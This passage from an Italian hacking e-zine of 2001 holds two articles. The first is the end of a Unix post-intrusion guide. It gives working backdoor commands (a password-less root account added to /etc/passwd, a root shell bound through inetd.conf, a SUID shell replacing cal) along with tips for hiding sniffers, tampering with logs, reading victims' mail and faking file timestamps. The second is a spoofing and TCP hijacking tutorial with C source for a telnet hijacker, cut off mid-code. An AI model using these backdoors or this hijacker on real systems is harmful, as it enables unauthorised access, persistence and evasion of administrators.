soprattutto se si parla di | | unix e/o unix-like, | | inquanto le shell unix sono preziose e defacciando un sito non ci si rende | | proprio invisibili | | agli occhi del malcapitato Admin ! | | | | 2) Sniffing : caricando un bello sniffer sulla nostra shell potremo | | sniffare le password | | di altri sistemi, ottenendo in questo modo un bel numero di nuovi account. | | Per quanto riguarda lo sniffing prima di caricare lo sniffer è bene | | guardare cosa gira sulla | | macchina per trovare un nome che sia similare a quelli dei processi in | | esecuzione | | Per carica in "background" lo sniffer fai seguire il comando da un "&" : | | es. # sniffer -(parametri) & | | | | 3) Us3 the shell : avendo a nostra disposizione una bella shell di root | | possimao fare un sacco | | di cose, caricare BOT, BNC, usare i datapipe ecc... ma sconsiglio di | | utilizzare le shell in | | questo modo, inquanto ben presto potreste perdere l'accesso al sistema ! | | [x BNC : http://www.tuttoscript.net, X BOT "eggdrop" -> su : | | http://packetstormsecurity.org ] | | [su BFI trovi diverse info sui "datapipe" oltre che ad ottimo codice] | | | | ::B4ck_d00rS:: | | | | Ora è di nostro grande interesse creare delle backdoors per accedere in | | futuro al sistema | | bucato. Esistono moltissime backdors che possono essere utilizzate sotto un | | sistema unix | | unix-like, quindi mi limiterò a descrivere le più semplici (ma purtroppo | | anche quelle meno | | occultate nel sistema!) : | | | | 1) n3w 4ccount : bucato il sistema si potrebbe voler aggiungere un nuovo | | account per futuri | | accessi. Si può usare il comando adduser ma la via piu veloce è la | | seguente : | | | | echo "r00t::0:0:r00t:/:/bin/bash" >> /etc/passwd | | | | In questo modo telnettandoci al server vittima si potrà accedere al | | sistema inserendo solo | | il login (r00t). Nessuna password è richiesta in questo caso. | | | | 2) sh3LL : Un'altra interessante backdoor è di mettere in ascolto di una | | porta da noi | | scelta una shell root, modificando in modo adeguato il file | | /etc/inetd.conf nel | | seguente modo : | | | | echo "666 stream tcp nowait root /bin/bash bash -i" >> /etc/inetd.conf" | | | | e poi riavviando il demone nel seguente modo : | | | | killall -HUP inetd | | | | 3) m0dify /b1n : è possibile modificare inoltre il contenuto della | | deirectory /bin per | | inserire interessanti backdoors. Un esempio potrebbe essere sostituire | | il "cal" con una | | SUID shell. Eseguendo "cal" otterremo il MAGNIFICO "#" ! | | | | Per quanto riguarda la trattazione delle backdoors vi consiglio vivamente | | di leggere gli | | articoli pubblicati su BFI, molto ben fatti e completi. | | | | ::TrcCh1 & s3gr3t1:: | | | | A questo punto è bene ilusrare una serie di trucchetti utilissimi per | | mantenere l'accesso | | alla macchina il più possibile. | | | | 1) /etc/syslog.conf : questo file è stato accenato in precedenza. Esso | | specifica al demone | | syslogd COME e dove loggare ogni accesso ecc ... spesso però il logging può | | avvenire | | su macchine diverse da quella che abbiamo hackerato. Se ciò avvinene | | troverai | | nel file /etc/syslog.conf una cosa del genere : | | | | *.* @somehostname.xxx | | | | Vedere il contenuto di syslog.conf è utile anche per scoprire log che sono | | sfuggiti | | al cleaner. Da shell digita : | | | | # more /etc/syslog.conf | | | | Il risulatao sarà illuminante ... :-)) | | Annota soprattutto se info e/o warnign vengono spediti per e-mail al root. | | Dopo di che | | spostati nella directory specificata e cerca eventuali ip/host digitando : | | | | grep yourhost * | more | | grep yourip * | more | | | | Se vuoi avere un maggior controllo del sistema, puoi modificare il | | contenuto di | | syslog.conf e dirottare log/info dove vuoi tu ... ricorda che se il Sys è | | un pò sveglio | | si accorgerà ben presto delle modifiche ! | | In ogni caso se decidi di fare ciò ricorda di killare prima syslogd e di | | riavviarlo dopo | | aver modificato il contenuto del file syslog.conf. | | | | 2) Mail reading : la lettura della posta del sistema che hai bucato puo' | | esserti MOLTO utile per studiare il tuo nemico e per scoprire nuovi | | segreti. | | Ricordati di non leggere MAI la posta con gli appositi programmi di "mail | | reading". | | La posta (non letta) la puoi leggere TUTTA nella directory /var/spool/mail. | | Cerca ppiuttosto un programma mail che non aggiorni i putatori ... | | In ogno caso le mail già lette puoi trovarle in /root/mail e in ogni | | /user/mail. | | [in /var/spool trovi anche trovi non solo la posta degli utenti ma anche le | | code di | | stampa, cron, ecc ...] | | | | 3) Cron table : è consigliabile prendere in considerazione i cron (in | | /var/spool/cron) | | per controllare eventuali "bastardate" settate dall'amministratore che | | potrebbero | | fregarci ... :-> | | I cron possono essere inoltre utilizzati per settare interessanti | | backdoor. | | Un esempio? un cron che attivi uno script, il quale a sua volta mette in | | ascolto di una porta da noi scelta, una SUID shell a mezzanotte ... | | Si può anche fare in modo che sia il cron a settare la shell direttamente, | | ma sarebbe | | troppo semplice per l'Admin scoprire la backdoor ... ancora meglio se | | modifichiamo | | eventuali script dell'amministartore a nostro piacimento, non so se mi | | spiego ! :-) | | | | 4) /etc/login.def : si è accennato a questo file anche in precedenza , be | | non c'è | | da dire molto ... guardatelo perchè potreste trovare delle sorprese ! | | | | 5) Files INFO : ogni file che andremo a modificare riporterà la data e | | l'ora della sua | | ultima modifica ... per essere ancora più invisibili nel sistema bisogna | | annotarsi la data | | e l'ora di ogni files, e ripristinarla dopo che abbiamo modificato i file | | in questione, con | | il comando "touch" (man touch). Analogamente bisogna cambiare il gruppo di | | apparteneza dei | | files che carichiamo nel sistema con il comando "ghgrp". | | | | ::c0nclus10n1:: | | | | AL termine di questo mini HOWTO, vorrei consigliare di fare mooolta | | attenzione quando si | | cerca di bucare un sistema unix, perchè non si è mai sicuri al %100 di fare | | hacking in | | assoluta anonimicità ! Fate anche molta attenzione hai sistemi che cercate | | di bucare ! | | Server di siti molto importanti potrebbero far girare degli IDS (intenet | | Detection System), | | dei veri e propri figli di PUTTANA sempre pronti a mettervelo nel cul... | | Buona fortuna ragazzi e mi raccomando moolta (con due o) attenzione ! | | | | ::s4lut1:: | | | | Un grande saluto a tutte le persone che mi hanno aiutato (o meglio a cui ho | | rotto le palle per | | imparare qualcosa ;-) a tutti gli amici di #TNT, #HX , #hackmaniaci , | | #preak.it , #isoladeipirati. | | Infine un grande saluto a Mr.Wolf , LordMark , wHiTeSnAk , FRANZ , Zero , | | Tritemius (6 il migliore), | | SonGoten , LordMirror , bartx , Theli (il cracker olandese) e a tutti gli | | amici della TNT crew ! | | | | ::FucK:: | | | | Un bel VAFFANCULO a tutti i conglioni che sono andati a rompere il cazzo al | | G8 e che le hanno | | prese di santa ragione !!! (ahahahhaha) | | | | EOF. | | +---------------------------------------------------------------------------+ | | | c0nt4ct m3 : d3fu@hushmail.com | | | |---------------------------------------------------------------------------| | | | 1rc : irc.tin.it #phreak.it - #crack.it - #isoladeipirati | | | |---------------------------------------------------------------------------| | | | 1rc2 : irc.azzurra.net #TNT - #hackmaniaci - #HX | | | +---------------------------------------------------------------------------+ | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [HACKiNG] #04 - 19/11/2001 | | Spoofing & Hijacking [CityHunter] 0x07/0x23 | +-------------------------------------------------------------------------------+ | | | Yo a tutti!Questo è il mio primo articolo che ho l'onore e l'onere di | | scrivere! | | Scriverò certamente cagate(spero il meno possibile...altrimenti che lo | | scrivo a | | fare?)e siete pregati quindi di mandarmi email con relativi improperi e | | possibil | | mente aiuti espiegazioni! So che i ringraziamenti andrebbero alla fine, ma | | vista | | l'importanza che hanno per me e per quel poco che ho appreso in varie ore di | | lettura ho deciso di metterli in cima! | | In primis colui che per primo mi ha salutato su #hack e che mi ha dato la | | chioc- | | ciolina:-) XpTerminator(continua così frà che vai forte!E voglio la prima | | della | | tua nuova guida!!)un grandissimo saluto alla splendida Delilah(non ricordo | | dove | | va la "h"...non te la prendere!!:-))),Marsio e il mitico BIGAlex per le | | chiacchi | | erate e tutti gli altri che non ricordo in questo momento(vi aggiungo più | | tardi!!), ma soprattutto questo art va a FuSyS di BFI che mi inizializzato, | | tramite i suoi progetti, all'arte dello spoofing(di cui,insisto,sono ancora | | uno | | studentello!). | | Ok...bando alle ciance e cominciamo col fare qualcosa di concreto! | | Questo è un art misto tra un how to e soprattutto spiegazioni di quello che | | si | | trova in rete.Lo scopo finale dell'articolo è riuscire ad acquisire le | | conoscen- | | ze atte a creare un telnet hijacker con supporto ethstavo rileggendo ciò che | | ho scrittofino qui...cazzo che | | serio!!!Ho qualcosa che non va oggi:-)) | | Prima di incominciare con lo spoof è bene dare un'occhiata ai vari | | protocolli | | TCP/IP (che ricordoper i super newbies essere un insieme di protocolli e non | | uno | | solo)! | | | | +------------------------------+ | | | TCP/IP | | | +------------------------------+ | | | | Farò una spiegazione abbastanza breve perchè su questo di roba in giro per | | la | | rete se ne trova in abbondanza. | | | | IP: è il protocollo che fornisce un servizio di distribuzione di datagrammi | | inaffidabile. | | Inaffidabile perchè non ci è data la garanzia che ciò che spediamo arrivi e | | in | | che ordine(se arriva).Molto importante nel campo dello spoofing è l'header | | del | | pacchetto, dove sono contenute le nostre"vitali" informazioni. Non sto qui a | | farvi i vari schemini del caso perchè ci ha già pernsato in maniera pi- che | | efficente Xp nel numero3 di OndaQuadra e vi rimando a lui(e al progetto | | OnoSendai di Fusys su BFI)(dove tra l'altro questa parte è decisamente fatta | | meglio di quello che sto scrivendo...ma ripetere cose identiche non mi pare | | il | | caso...poi passo per copione:-)):-P) | | | | TCP:il nome in sŠ dovrebbe gi… dirvi a cosa serve...Transmission Control | | Protocol. Bravi!Avete capito...tu?Là in fondo?Non hai capito...ok...spiego | | per | | tutti:-) TCP è ciò che ci permette di trasferirei nostri file senza perdite | | di | | dati(cosa che sarebbe molto probabilemente accaduta se avessimo usato solo | | IP), | | che d… vita ai vari servizi quali Telnet, FTP, Http ecc.(se vi interessa la | | spe- | | cifica ufficiale è nell'RFC 793). | | Il trasferimento dati avviene in modo bufferizzato, cioŠ prima di effettuare | | una | | trsmissione attraverso IP, il TCP attende di aver riempito un'area di | | memoria | | (buffer appunto) con una quantit… di dati che valga il costo della | | trsmissione:) | | ...è anche possibile forzare le trasmissioni...ma non ci riguarda da vicino! | | | | Qui vi immetto lo schemino perchè ci tornerà utile in seguito: | | | | | | +---------------------------------------------------------------------------- | | trsmission+ | | | | | | | | | | | IP Header | TCP Header | TCP Data | | | | | | | | | | | | | +---------------------------------------------------------------------------- | | + | | Tutti e tre assieme formano il datagramma IP, gli ultimi due(quelli che | | iniziano con TCP per intenderci) il segmento inerente al TCP | | | | Qui guardiamo con attenzione il TCP Header: | | | | +---------------------------------------------------------------------------- | | in--+ | | | 16 bit per la porta di partenza | | | 16 bit per la porta di destinazione | | +---------------------------------------------------------------------------- | | | 32 bit SEQ number | | | | | +---------------------------------------------------------------------------- | | --+ | | | 32 bit ACK number | | | | +---------------------------------------------------------------------------- | | --+ | | 4 bit | | | | | | |lunghezza | 16 bit window size | | | | |header | | | | | | +---------------------------------------------------------------------------- | | --+ | | | 16 bit checksum | 16 bit urgent pointer | | | | | +---------------------------------------------------------------------------- | | --+ | | | option | | | | | +---------------------------------------------------------------------------- | | --+ | | | data | | | | | +---------------------------------------------------------------------------- | | --+ | | | | Ok...passiamo ad analizzare alcuni campi(quelli che più ci interessano): | | i primi due sono la porta dell'host di partenza e quella di destinazione. | | Ed ora arriviamo a ciò che più ci interessa(e che più mi spaventava...un | | casino!!!): | | il SEQ i l'ACK (ricordiamo anche la flag SYN che fa parte del datagramma | | IP... | | ne parlo come se non fosse importante...mah...è importantissima cmq!!!) | | | | SYN sta per SYNchronise, sincronizza i numeri SEQ dei due host; | | ACK sta per ACKnowledge, riconosce i dati inviati dal peer; | | FIN sta per FINished, l'origine ha terminato la trasmissione dei dati; | | RST sta per ReSeT, rompe la connessione; | | ci sarebbero anche PSH(push) e URG(urgent)...ma poi vi stufate di leggere e | | mi | | mandate le mail con gli improperi!:-)). | | | | Ora,tanto per capire meglio come avviene una connessione TCP/IP vi simulo un | | inizio di connessione:siamo nel nostro bel computerino in casa alle 4 di | | notte | | (o mattina??...mah...) e decidete di connettervivia telnet alla vostra | | backdoor | | preferita(in questo caso potrebbe essere una sessione telnet) | | Voi impersonate l'host A(scegliete...Attacker...Acker senza H....fate | | voi:-)) | | il server sarà l'host B(bersaglio?:-)) | | Aprite il vostro bel telnet e connettetevi...vediamo ciò che succede nella | | vostra bella connessione (per lo scopo, se volete provare, usatevi un bello | | sniffer tipo TCPDump o cose simili...se ho tempo | | vi metto un semplice sniffer allegato)(mi spiace...non faccio in | | tempo...devo | | studiare!Cmq tcpdump dovrebbe esserci in ogni distribuzione...ed è | | sicuramente | | meglio di quello che vi avrei dato io!!!) | | | | (prima uno schema facile poi quello nel dattaglio) | | | | ---------------syn---------------> 1) | | A) <----------syn [ack=(isn+1)]------ (B 2) | | ---------------[ack=(isn+1)]-----> 3) | | | | voi cercate di iniziare una connessione con B e gli spedite una bella SYN | | (passo | | 1) B risponde con la vostra SYN e il suo ACK (uguale all'ISN di A+1...dopo | | questo passo lo spiego meglio) | | ed infine A rimanda l'isn di B+1. Che fatica...credo non abbiate capito | | nulla, | | vero? Ok...ci riprovo con un esempio più pratico: | | | | A:190.10.10.1 | | B:190.10.10.2 (li ho usati simili per comodit…...non implica che debbano | | essere | | nella stessa subnet) | | | | salto la connessione telnet e arrivo al quid...il 3-WAY HANDSHAKE(applausi | | di | | sottofondo) | | | | 190.10.10.1:69 >190.10.10.2:23 SEQ:1323466780 ACK:0 FLAGS: SYN | | 190.10.10.2:23 >190.10.10.1:69 SEQ:3242354354 ACK:1323466781 FLAGS: SYN | | ACK | | 190.10.10.1:69 >190.10.10.2:23 SEQ:1323466781 ACK:3242354354 FLAGS: ACK | | | | dovreste ritrovarvi un po' vero?(ditemi di sì...se no mi scoraggio!:-))) | | | | Come promesso vi spiego l'ISN di cui non ho ancora parlato. ISN sta per | | initial | | sequence number. | | Il SEQ di A(primo dato trasmesso) prende anche il nome,appunto,di ISN. | | | | Ok...mi pare proprio di aver detto tutto riguardo al 3-WH...se non avete | | capito | | qualcosa...beh..mi spiace per voi ma più di così non saprei che dirvi!:-)) | | | | Ora inizia la parte difficile anche per me(sto scrivendo questo articolo | | soprattutto per me...per riordinare le idee) | | | | Vorrei parlare soprattutto di Hijacking quindi salterò parti importanti come | | lo | | sniffing... quando avrò accumulato più info al riguardo ve ne parlerò poi:-) | | Per ora accontentatevi! | | | | Faccio ancora una piccola digressione per darvi un'infarinatura generale | | sullo | | spoofing, anche se credo ne sappiate gi… abbastanza...ma si spera sempre di | | colmare qualche piccola lacuna!Ma prima... | | | | DISCLAIMER | | ========== | | Questo documento è stato sviluppato solo per scopo educativo, per | | aiutare a capire le reti, ed aiutare i sysadmin a difendersi da eventuali | | attacchi descritti in questo documento. Di conseguenza l'autore del | | testo non si assume nessuna responsabilità su ciò che venga fatto | | tramite queste informazioni, e non ne incita l'utilizzo per scopi | | fraudolenti. | | | | (miseramente rippato dalla guida di Xp...grazie frà!:-)))(non l'ho messo | | prima | | perchè non avevo ancora messo nulla di "compromettente") | | | | ledis end gentlemen... | | +--------------------------------------------------------+ | | | | | | | IP-SPOOFING | | | | | | | +--------------------------------------------------------+ | | | | Per SPOOFING si intende quella tecnica(o insieme di tecniche) atta a | | costruire i | | propri pacchetti IP con indirizzo di provenienza falso. Immaginate quanto | | questo | | sia affascinante e utile ai nostri loschi scopi(dimenticavo...è un | | tutorial... | | quindi di cose da bimbi cattivi non bisogna parlare, hihihihi). | | Massimo anonimato, possibilità di scavalcare firewall(e tanto altro che | | lascio | | alla vostra immaginazione) ...cosa volete di più dalla vita? Purtroppo tutto | | questo ben di Dio non è proprio facile facile da ottenere:-( | | Ma vediamo di distinguere un po' le cose: lo spoofing si divide in vedente e | | cieco(che bravo che sono...ho pure messo la i in cieco:-)) | | | | Il vedente è un po' il fratellino minore...quello che che ancora non conosce | | tutti gli angoli della suacasa e deve usare gli occhi per girarla(minchia | | che | | esempio...cmq avete capito!) | | Un po' più tecnicamente accade questo: abbiamo un bello sniffer installato | | nella | | rete che vogliamo attaccare e grazie a lui possiamo vedere tutti i SEQ e ACK | | che | | ci servono per instaurare una connessione così | | facendo siamo in grado di vedere appunto ciò che accade e i dati che | | riceviamo | | (da qui "vedente"). | | | | In un attacco cieco invece le grane aumentano parecchio...non vedremmo alcun | | dato tornare indietro(immaginate: impersoniamo il server A e vogliamo | | connetterci a B usando l'indirizzo di C...secondo voi dove vanno i dato che | | B | | manda?...Bravi!a C...e noi chi siamo? A...quindi?Non vedremo un beneamato | | cazzo) | | e noi non saremo in grado di conoscere i SEQ e ACK necessari per la | | connessione | | ...dovremo proprio indovinarli. | | Questa parte però non l'ho ancora approfondita, quindi noi ci occuperemo di | | una | | particolare tecnica del vedente:l'Hijacking!!!!!!!!!!(rullo di trombe e | | squilli | | di tamburi!!!) | | | | +----------------------------------------------------------+ | | | | | | | HIJACKING | | | | | | | +----------------------------------------------------------+ | | | | L' Hijacking è una versione molto interessante dello spoofing vedente. | | Consiste | | nel dirottamento della connessione in corso e nell'inserimento di dati | | nostri | | nella connessione che vogliamo attaccare. | | Che figata vero?:-)) C'è da precisare(purtroppo,altrimenti sarebbe il | | paradiso) | | che questo tipo di spoofing lo si più fare quasi unicamente quando A e | | C(vedi | | sotto) sono nella stessa sottorete, quindi questo accade solitamente in una | | LAN. | | | | Facciamo uno schemino che ormai c'ho preso gusto:-)) | | | | I giocatori sono i soliti A(noi) | | B(bersaglio) | | C(cazzone a cui rubiamo la connessione) | | | | B <---------------------/---------------->C (hihihihi...poverino) | | | | | | | | / | | / | | A--------------> | | | | Ok,Ok...piccola spiegazione tecnica: in sostanza B e C entrano nello stato | | ESTABLISHED dopo il 3-WH. | | A questo punto l'attacco funge così: A inserisce nella connessione in corso | | tra | | B e C dei dati | | desincronizzando la connessione legale e alterando la coppia SEQ/ACK del | | server | | in faccia al client. | | Prima però di spiegare come avviene la desincronizzazione c'è da precisare | | una cosa:per forza di cose,come abbiamo visto sopra, questo attacco si può | | fare quasi unicamente via LAN (almeno A e C devo essere nella stessa | | sottorete)quindi occorre mettere l'interfaccia di rete eth in modalità | | promiscua.Che vuol dire promiscua? Semplice...se non lo facessimo noi non | | vedremmo i dati tornare indietro...in sostanza mettendo in modalità promiscua | | vedremo tutti i dati che partono e arrivano nella nostra LAN.La funzione che | | lo fa nel codice è la "ethclose". Se vorrete creare uno sniffer dovete | | assolutamente ricordarvi di mettere la vostra interfaccia in modalità | | PROMISCUA. | | | | | | Ok...per desincronizzare B e C come si fa?Pronti...ci sono tre bei metodi:-) | | | | d1)Quando il server(A) si trova nel punto 2 dello schemino fatto sopra(quello | | del | | TCP/IP) inviamo un bel pacchetto RST(chiaramente fingendo da parte del | | client)e | | cerchiamo di instaurare una nuova connessione con un nuovo ISN. Il server | | aggiornerà il suo ACK e cercherà di rispondere con un nuovo ISN. Noi | | rispondiamo con un ACK all'ISN del server. Cosa succede quindi? Il client(C) | | resta in stato ESTABLISHED ma sarà scoordinato rispetto al nuovo ISN del | | server | | (A). | | | | 2)(Metodo più grezzo se vogliamo perchè meno occulto) Inviamo al client dei | | messaggi ICMP del tipo HOST(port)_UNREACH(vedi nuker su IRC) e noi | | allegramente | | ci impadroniamo della connessione. | | | | 3)(Quello che useremo) A connessione già avvenuta da Client e Server ci | | connettiamo al server (chiaramente con l'IP del client...se no a che | | serve?:-))) | | incrementando così l'ACK del server.Così facendo otteniamo la | | desincronizzazione | | del client dal server e noi saremo nel flusso della connesisone. | | | | Ora si aprono due strade...un po' come l'amleto:occultati, o non accultati? | | Questo è il dilemma!(era l'amleto vero?Che poi mi tiro la zappa sui piedi | | facendo il figo:-))) | | Mo' spiego: se optiamo per la prima scelta dobbiamo smistare i pacchetti | | diretti | | dal server a noi e diretti al client giusto(man in the middle), | | altrimenti,nella | | seconda ipotesi, lasciamo che il client blocchi la connessione(lasciandolo | | per | | esempio in FIN_WAIT1. | | | | Ok...possiamo dire che qui si conclude la parte più teorica(e temo la più | | facile | | ...so già che mi sono cacciato in un bel casino!:-)))e ora ci immergiamo nel | | magico mondo di Polly Pocket...ehm...no...volevo dire della | | programmazione:D(che | | burlone che sono:-)) | | | | Prima di attaccare vi do i vari testi di riferimento da cui mi sono | | ispirato(e | | anche rippato...non c'è nulla di male se si mettono gli autori no?Se | | qualcuno ha | | da ridire...pasiensa:-))) | | 1) Tutti gli articoli di FuSyS su BFI(numeri 3,4,5 se non ricordo male),in | | particolar modo i progetti Onosendai; | | 2) coder@reptile per il suo testo basilare "A short overview of IP spoofing: | | Part I";e per i vari codici esplicativi; | | 3) LordFelix su BFI2(o 3...non li ho sottomano e non mi ricordo) per il | | tutorial | | sulla programmazione dei socket; | | 4) Il signore degli anelli...non c'entra molto, ma se non l'avete letto dico | | in | | giro che ce l'avete piccolo piccolo e non riuscirete mai ad hackare un | | cazzo; | | | | Ok...Fine prima parte! | | | | +---------------------------------------------------------------+ | | | | | | | Hijacking telnet | | | | | | | +---------------------------------------------------------------+ | | | | Qui cercherò di darvi tutte le spiegazioni inerenti alle varie funzioni del | | nostro codice. Avrei potuto utilizzare l'#include di | | coder@reptile... | | ma senza sbattervi non avreste capito una mazza!Così c'ho pensato io per | | voi! | | Allora coraggio,iniziamo la nostra avventura nel codice! | | | | -------------se non vuoi sbatterti a ricopiare taglia | | qui----------------------- | | | | /**************************************************************************** | | * Hjtel.c Telnet Hijacker di base...non aspettatevi grandi cose!Serve | | * per darvi un'infarinatura | | * Se avete letto tutto ciò che sta sopra sapete già come | | * funziona. Non ho voglia di | | * ripetervi tutto!:-)) Funziona sotto eth...se proprio lo | | * volete sotto ppp non farete fatica | | * a cambiare il codice! | | * I testi a cui mi sono ispirato li ho già elencati. | | * I ringraziamenti già fatti!:-) Grazie a tutti! | | * Un'ultima cosa poi comincio(fidatevi...comincio davvero!!)! | | * Ho sempre sognato di farlo | | * Ora:il tutto è stato fatto in tre giorni...dalle 2 di | | * pomeriggio alle 2 di notte:-) | | * Cibo consumato: nulla...gomme per tenere reattiva la mente(e | | * l'alito...dopo si va dalla tipa:-DD) | | * | | * Musica: in questo momento i motori di GT2 del mio coinquilino | | * (che saluto e mando...:-)* | | * | | * Altro...??Mi tocca iniziare!:-))) | | * | | * | | * | | ***************************************************************************** | | | | | | #include | | #include | | #include | | #include | | #include | | #include | | #include /*include dove sono definite le strutture | | dell'ip...*/ | | #include | | #include | | #include | | #include | | #include | | | | #define MTU 1500 | | #define IP_VERSION 4 | | #define IP_HEAD_BASE 20 | | #define TCP_HEAD_BASE 20 | | #define INTERFACE "ppp0" /*per Ethernet mettete "eth0"*/ | | #define INTERFACE_PREFIX 0 /*sempre per Ethernet mettete 14*/ | | #define MY_TOUCH 666 | | #define URG 32 /*da URG a FIN sono le TCP | | flags...*/ | | /*dovreste saperlo no?Cmq è scritto | | sopra*/ | | #define ACK 16 | | #define PSH 8 | | #define RST 4 | | #define SYN 2 | | #define FIN 1 | | | | int DEV_PREFIX; | | sig_atomic_t WAIT_PACKET_WAIT_TIME = 0; | | int fd_recive, fd_send; | | | | | | /* Iniziamo con le nostre belle strutture */ | | | | struct wait_packet | | { | | unsigned long seq,ack; | | unsigned short flags; | | unsigned short source_p,dest_p; | | int datalen; | | }; | | | | struct IPhdr | | { | | unsigned char verlen, type; /*versione-lunghezza | | dell'header,tipo*/ | | unsigned short tot_len, ID, flag_offset;/*lunghezza, id, | | flags+offset*/ | | unsigned char TTL, protocol;/*time to live, e il protocollo | | utilizzato*/ | | unsigned short checksum; | | unsigned long int saddr, daddr;/*indirizzo ip sorgente,ip | | destinazione*/ | | }; | | | | struct TCPhdr | | { | | unsigned short source, dest; | | unsigned long int seq, ack_seq; | | unsigned short offset_flag, window, checksum, urgent; | | }; | | | | struct pseudoIP | | { | | unsigned long int source, dest; | | char zero_byte, protocol; | | unsigned short TCP_UDP_len; | | }; | | | | int if_init(char *device) | | { | | int if_fd; | | struct ifreq netif; | | char test; | | if ((if_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1) { | | /*creazione del nostro raw socket*/ | | perror("Can't Open PACKET SOCKET."); | | exit(1); | | } | | | | return if_fd; | | } | | | | void ethclose() | | { | | struct ifreq eth; | | strcpy(eth.ifr_ifrn.ifrn_name, INTERFACE); | | if ( ioctl(fd_recive, SIOCGIFFLAGS, ð) < 0) { | | fprintf(stderr, "Can't get Ethernet flags.\n"); | | exit(1); | | } | | eth.ifr_ifru.ifru_flags ^= IFF_PROMISC ; | | if ( ioctl(fd_recive, SIOCSIFFLAGS, ð) < 0) { | | fprintf(stderr, "Can't put Ethernet in PROMISC mode.\n"); | | exit(1); | | } | | exit(0); | | } | | | | | | unsigned short in_cksum(unsigned short *addr,int len) | | { | | register long sum = 0; /* assumes long == 32 bits */ | | register unsigned short *w = addr; | | unsigned short answer = 0; /* assumes u_short == 16 bits */ | | register int nleft = len;; | | | | /* | | * Our algorithm is simple, using a 32-bit accumulator (sum), | | * we add sequential 16-bit words to it, and at the end, fold back | | * all the carry bits from the top 16 bits into the lower 16 bits. | | */ | | | | while (nleft > 1) | | { /* per tutta la funzione:il | | checksum*/ | | /* viene calcolato solo sull'header | | IP*/ | | /*non sui dati che trasmette*/ | | sum += *w++; /*per la creazione di pacchetti | | quali*/ | | /*IP,UDP ecc dobbiamo calcolare*/ | | /* il checksum...si fa con la | | funzione*/ | | nleft -= 2; /*rippata dal codice di | | ping.c:-)))*/ | | } | | | | /* mop up an odd byte, if necessary */ | | if (nleft == 1) | | { | | *(u_char *) (&answer) = *(u_char *)w; /* one byte only */ | | sum += answer; | | } | | | | /* | | * Add back carry outs from top 16 bits to low 16 bits. | | */ | | | | sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ | | sum += (sum >> 16); /* add carry */ | | answer = ~sum; /* ones-complement, then truncate to 16 bits | | */ | | | | return(answer); | | } | | | | unsigned long nameResolve(char *hostname) | | { | | struct in_addr addr; | | struct hostent *hostEnt; | | | | if((addr.s_addr=inet_addr(hostname)) == -1) | | /*qui chiaramente fa il controllo sull'esistenza o meno del server*/ | | { | | if(!(hostEnt=gethostbyname(hostname))) | | { | | fprintf(stderr,"Unknown host:`%s`\n",hostname); | | exit(0); | | } | | bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length); | | } | | return addr.s_addr; | | } | | | | | | /* from Spoofit by coder@reptile */ | | void wait_packet_timeout (int sig) | | { | | alarm(0); | | WAIT_PACKET_WAIT_TIME=1; | | } | | | | int wait_pk(int fd,struct wait_packet *infoz, | | /* fd Š un socket di ricezione*/ | | char *wp_source, unsigned short wp_source_port, | | /* wp_source e wp_source_port sono coloro che mandano il pacchetto*/ | | char *wp_dest, unsigned short wp_dest_port, int wp_flags, | | int wait_time) | | /*i due wp qui sono i riceventi*/ | | { | | char wp_buffer[1500]; | | struct IPhdr *ip; | | struct TCPhdr *tcp; | | unsigned long sourcel, destl; | | int tcpstart; | | char proto; | | | | sourcel = nameResolve(wp_source); | | destl = nameResolve(wp_dest); | | | | WAIT_PACKET_WAIT_TIME=0; | | if(wait_time!=0) { | | signal(SIGALRM,wait_packet_timeout); | | alarm(wait_time); | | } | | | | while(1) { | | while(sniff_pk(fd, wp_buffer, &tcpstart, &proto)<=0) { | | if (WAIT_PACKET_WAIT_TIME!=0) { | | alarm(0); | | return -1; | | } | | }; | | if(proto == 6) { | | ip= (struct IPhdr *) wp_buffer; | | tcp= (struct TCPhdr *) (wp_buffer+tcpstart); | | if((sourcel==ip->saddr) && (destl==ip->daddr)) { | | if(((ntohs(tcp->source)==wp_source_port) | | || (wp_source_port==0)) && | | ((ntohs(tcp->dest)==wp_dest_port) | | || (wp_dest_port==0))) { | | if( (wp_flags==0) || | | (ntohs(tcp->offset_flag)&wp_flags)) | | { | | infoz->source_p=ntohs(tcp->source); | | infoz->dest_p=ntohs(tcp->dest); | | infoz->seq=ntohl(tcp->seq); | | infoz->ack=ntohl(tcp->ack_seq); | | infoz->flags=ntohs(tcp->offset_flag)& | | (URG|ACK|PSH|FIN|RST|SYN); | | infoz->datalen = ntohs(ip->tot_len) - | | ((ip->verlen & 0xF) << 2) - | | ((ntohs(tcp->offset_flag) & 0xF000) >> 10); | | alarm(0); | | return 0; | | } | | } | | } | | } | | } | | } | | | | void trans_tcp (int sp_fd, char *sp_data,int sp_ipoptlen, int sp_tcpoptlen, | | int sp_datalen, char *sp_source, unsigned short | | sp_source_port, | | char *sp_dest, unsigned short sp_dest_port, unsigned long | | sp_seq, unsigned long sp_ack, unsigned short sp_flags) | | | | /* trans nel senso trasmittente...insomma,ci siamo | | capiti;-)*/ | | { | | char sp_buffer[1500]; | | char pseudoconstruct[MTU]; | | struct pseudoIP *pseudo; | | struct TCPhdr *newtcp; | | struct IPhdr *newip; | | int shooten; | | struct sockaddr_in target; | | | | bzero(sp_buffer,1500); | | if (sp_datalen!=0) | | | | memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen, | | sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen); | | | | newtcp=(struct TCPhdr *)(sp_buffer+IP_HEAD_BASE+sp_ipoptlen); | | pseudo=(struct pseudoIP *) pseudoconstruct; | | | | newtcp->offset_flag = htons( (((TCP_HEAD_BASE+sp_tcpoptlen)/4)<<12) | | | | sp_flags); | | newtcp->seq = htonl(sp_seq); | | newtcp->ack_seq = htonl(sp_ack); | | newtcp->source = htons(sp_source_port); | | newtcp->dest = htons(sp_dest_port); | | newtcp->window = htons(0x7c00); | | | | pseudo->source = nameResolve(sp_source); | | pseudo->dest = nameResolve(sp_dest); | | pseudo->zero_byte = 0; | | pseudo->protocol = 6; | | pseudo->TCP_UDP_len = htons(sp_datalen+TCP_HEAD_BASE+sp_tcpoptlen); | | | | memcpy(pseudoconstruct+12, newtcp, | | sp_tcpoptlen+sp_datalen+TCP_HEAD_BASE | | ); | | newtcp->checksum=in_cksum((unsigned short *) pseudoconstruct, | | sp_datalen | | + 12 + 